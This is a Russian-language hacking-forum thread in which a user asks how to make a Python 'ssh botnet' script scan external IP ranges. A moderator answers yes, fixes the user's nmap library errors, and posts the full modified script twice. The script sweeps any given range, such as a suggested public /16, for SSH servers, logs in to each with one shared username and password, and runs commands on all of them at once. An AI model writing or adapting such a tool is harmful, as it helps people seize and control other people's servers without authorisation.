• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

вопрос вот

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
nm.scan(myip + '/24') из кода на питоне ssh ботнета
если myip заменить на 0.0.0.0 он будет сканировать внешние ип?
 

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
из кода на питоне ssh ботнета
Что?)
0.0.0.0 - это не внешние IP )

Отвечая на твой вопрос, да, будет.
Это реализация nmap для python работает почти так же, как и версия из коробки.

Только надо передать не такую конструкцию, а строку с IP адресамии доп параметрами.
Можно пользоваться встроенными средствами и передать строку вида
Python:
nm = nmap.PortScanner()
res = nm.scan("172.16.0-10.*", "22")
Соответственно * - все цифры, а дефис - диапазон

А можно использовать для этого библиотеку
Python:
from netaddr import *
ip = IPNetwork('192.168.0.0/24')
string_with_ips = ""
# Добавляешь все IP в строку (уверен, что можно сделать красивее, кто знает, пусть покажет)
for _ in ip.ipv4():
    string_with_ips += _ + " "

# Сканируешь диапазон
nm.scan(string_with_ips)

Вот много примеров.
 

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
File "ssh_botnet.py", line 84, in <module>
nm = nmap.PortScanner()
AttributeError: 'module' object has no attribute 'PortScanner'
выдает ошибку эту даже если ничего не меняю
 

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
не помогло,попробую на другом устройстве
Какие модули импортируются в начале файла?
Дело не в устройстве.

Если
import nmap
тогда
nm = nmap.PortScanner()

Если же там импортирован
from nmap import PortScanner
то обращаться можно напрямую
nm = PortScanner()
 

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
from pexpect import pxssh
import os
import nmap
from termcolor import colored
import getpass
from datetime import datetime,date
покажи вывод
python -V
pip -V

И как запускаешь скрипт

Посмотри в установленных пакетах
pip freeze | grep nmap
Есть nmap==0.0.1 ?
Если есть,
pip uninstall nmap

Возможно, у тебя установлено сразу 2 пакета и скрипт импортирует старый.
Тебе нужен только python-nmap.
 
Последнее редактирование:

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
делаю в termux
python2 ssh_botnet.py
pip2 -V
pip 19.2.3 from /data/data/com.termux/files/usr/lib/python2.7/site-packages/pip (python 2.7)
$ python2 -V
Python 2.7.17
 

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
делаю в termux
python2 ssh_botnet.py
pip2 -V
pip 19.2.3 from /data/data/com.termux/files/usr/lib/python2.7/site-packages/pip (python 2.7)
$ python2 -V
Python 2.7.17
Если тебе точно нужен нужен python версии 2, тогда
pip2 install python-nmap

Посмотри в установленных пакетах
pip2 freeze | grep nmap
Есть nmap==0.0.1 ?
Если есть,
pip2 uninstall nmap
 

Zer0must2b

Green Team
23.06.2019
306
140
BIT
0
были установлены оба,удалял nmap,просит его,с ним запускаетса но когда задаеш интерфейс логин и пароль выдает ощибку
 

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
Последнее редактирование:

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
вобщем в коде неизвестная проблема?
Установи оба nmap'a
Добавь строку
myip = raw_input('[*] IP range (192.168.1.0/24) : ')
после
password = raw_input('[*] Single password for all users : ')

А строку
# myip = os.popen("ifconfig " + interface + " | grep \"inet \" | awk \'{print $2}\'").read().replace("\n", "")
Закомментируй.

И
nm.scan(myip)
Удали диапазон

После этого можешь скармливать ему диапазоны
Например
101.101.0.0/16

Код:
from pexpect import pxssh
import os
import nmap
from termcolor import colored
import getpass
from datetime import datetime,date

print("""
Author : Goutham Ramesh
GitHub : https://github.com/G0uth4m
    
    - This is a simple tool handy for linux administrators
    in schools, colleges, etc where all the systems used by students
    in the lab or elsewhere have same usernames and passwords.
    - Future releases will be having a choice to input different usernames
    and passwords via a file.
    - This code was tested on a bunch metasploitable 2 servers.
    - Using this tool for illegal stuff is highly not recommended.
    - 'sudo' is unsupported. You can use root as username for superuser access.
     _         _           _              _   
 ___ ___| |__     | |__   ___ | |_ _ __   ___| |_
/ __/ __| '_ \    | '_ \ / _ \| __| '_ \ / _ \ __|
\__ \__ \ | | |   | |_) | (_) | |_| | | |  __/ |_
|___/___/_| |_|___|_.__/ \___/ \__|_| |_|\___|\__|
             |_____|                             
""")

f = open('logs.txt', 'a')
f2 = open('session.txt', 'w')

interface = raw_input('[*] Interface : ')
user_name = raw_input('[*] Single username for all systems : ')
password = raw_input('[*] Single password for all users : ')
myip = raw_input('[*] IP range (192.168.1.0/24) : ')

f2.write(interface + '\n' + user_name + '\n' + password + '\n')

#myip = os.popen("ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'").read().replace('\n', '')
# myip = os.popen("ifconfig " + interface + " | grep \"inet \" | awk \'{print $2}\'").read().replace("\n", "")
class Client:
    def __init__(self, host, user, password, por):
        self.host = host
        self.user = user
        self.password = password
        self.por  = por
        self.session = self.connect()
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password, port = self.por)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
            exit()
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

def botnetCommand(command):
    f.write(" -> " + str(date.today().strftime("%B %d, %Y")) + " ( " + datetime.now().strftime("%H:%M:%S") + ' ) ' + '\n\n')
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        #print '[*] ssh service running on port : ' + str(client.por)
        print '[+] ' + output
        f.write('[*] Output from ' + client.host + '\n')
        f.write('[+] ' + output + '\n')
    f.write(100*'-' + '\n')
def addClient(host, user, password, por):
    if por != -1:
        client = Client(host, user, password, por)
        botNet.append(client)
    else:
        print '[-] ssh server not running on ' + host   

botNet = []

nm = nmap.PortScanner()
#os.system("figlet ssh_botnet")
print("\n")
print "[*] Scanning network for ssh servers ..."

nm.scan(myip)
print "[+] Scan complete"
hosts = nm.all_hosts()
hosts.remove(myip)

if len(hosts) == 0:
    print "[-] No ssh servers found on the network"
    exit()

ssh_servers = []

for i in hosts:
    openPorts = list(nm[i]['tcp'].keys())
    for j in openPorts:
        if nm[i]['tcp'][j]['name'] == 'ssh':
            por = j
            ssh_servers.append([i,j])
            break
        por = -1   
    addClient(i, user_name, password, por)

print "\nRunning ssh servers : "

for i in ssh_servers:
    print "Host : " + i[0] + "\t\t" + "port : " + str(i[1])
    f2.write(i[0] + ":" + str(i[1]) + '\n')
print '\n'

f2.close()   

while True:
    strr = colored('ssh@botnet:~$ ', 'red', None, ['bold'])
    a = raw_input(strr)

    if a == "exit()" or a == "exit":
        f.close()
        print("\n[*] History of commands stored in logs.txt")
        break;
    else:   
        botnetCommand(a)
 

f22

Codeby Academy
Gold Team
05.05.2019
1 842
225
BIT
1 054
Обновил.
Теперь указываешь IP отдельно, а диапазон отдельно
Python:
from pexpect import pxssh
import os
import nmap
from termcolor import colored
import getpass
from datetime import datetime,date

print("""
Author : Goutham Ramesh
GitHub : https://github.com/G0uth4m
    
    - This is a simple tool handy for linux administrators
    in schools, colleges, etc where all the systems used by students
    in the lab or elsewhere have same usernames and passwords.
    - Future releases will be having a choice to input different usernames
    and passwords via a file.
    - This code was tested on a bunch metasploitable 2 servers.
    - Using this tool for illegal stuff is highly not recommended.
    - 'sudo' is unsupported. You can use root as username for superuser access.
     _         _           _              _   
 ___ ___| |__     | |__   ___ | |_ _ __   ___| |_
/ __/ __| '_ \    | '_ \ / _ \| __| '_ \ / _ \ __|
\__ \__ \ | | |   | |_) | (_) | |_| | | |  __/ |_
|___/___/_| |_|___|_.__/ \___/ \__|_| |_|\___|\__|
             |_____|                             
""")

f = open('logs.txt', 'a')
f2 = open('session.txt', 'w')

interface = raw_input('[*] Interface : ')
user_name = raw_input('[*] Single username for all systems : ')
password = raw_input('[*] Single password for all users : ')
myip = raw_input('[*] Start IP (192.168.1.0) : ')
myip_range = raw_input('[*] IP range (/8 /16 /24) : ')

f2.write(interface + '\n' + user_name + '\n' + password + '\n')

#myip = os.popen("ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'").read().replace('\n', '')
# myip = os.popen("ifconfig " + interface + " | grep \"inet \" | awk \'{print $2}\'").read().replace("\n", "")
class Client:
    def __init__(self, host, user, password, por):
        self.host = host
        self.user = user
        self.password = password
        self.por  = por
        self.session = self.connect()
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password, port = self.por)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
            exit()
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

def botnetCommand(command):
    f.write(" -> " + str(date.today().strftime("%B %d, %Y")) + " ( " + datetime.now().strftime("%H:%M:%S") + ' ) ' + '\n\n')
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        #print '[*] ssh service running on port : ' + str(client.por)
        print '[+] ' + output
        f.write('[*] Output from ' + client.host + '\n')
        f.write('[+] ' + output + '\n')
    f.write(100*'-' + '\n')
def addClient(host, user, password, por):
    if por != -1:
        client = Client(host, user, password, por)
        botNet.append(client)
    else:
        print '[-] ssh server not running on ' + host   

botNet = []

nm = nmap.PortScanner()
#os.system("figlet ssh_botnet")
print("\n")
print "[*] Scanning network for ssh servers ..."

nm.scan(myip + myip_range)
print "[+] Scan complete"
hosts = nm.all_hosts()
hosts.remove(myip)

if len(hosts) == 0:
    print "[-] No ssh servers found on the network"
    exit()

ssh_servers = []

for i in hosts:
    openPorts = list(nm[i]['tcp'].keys())
    for j in openPorts:
        if nm[i]['tcp'][j]['name'] == 'ssh':
            por = j
            ssh_servers.append([i,j])
            break
        por = -1   
    addClient(i, user_name, password, por)

print "\nRunning ssh servers : "

for i in ssh_servers:
    print "Host : " + i[0] + "\t\t" + "port : " + str(i[1])
    f2.write(i[0] + ":" + str(i[1]) + '\n')
print '\n'

f2.close()   

while True:
    strr = colored('ssh@botnet:~$ ', 'red', None, ['bold'])
    a = raw_input(strr)

    if a == "exit()" or a == "exit":
        f.close()
        print("\n[*] History of commands stored in logs.txt")
        break;
    else:   
        botnetCommand(a)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!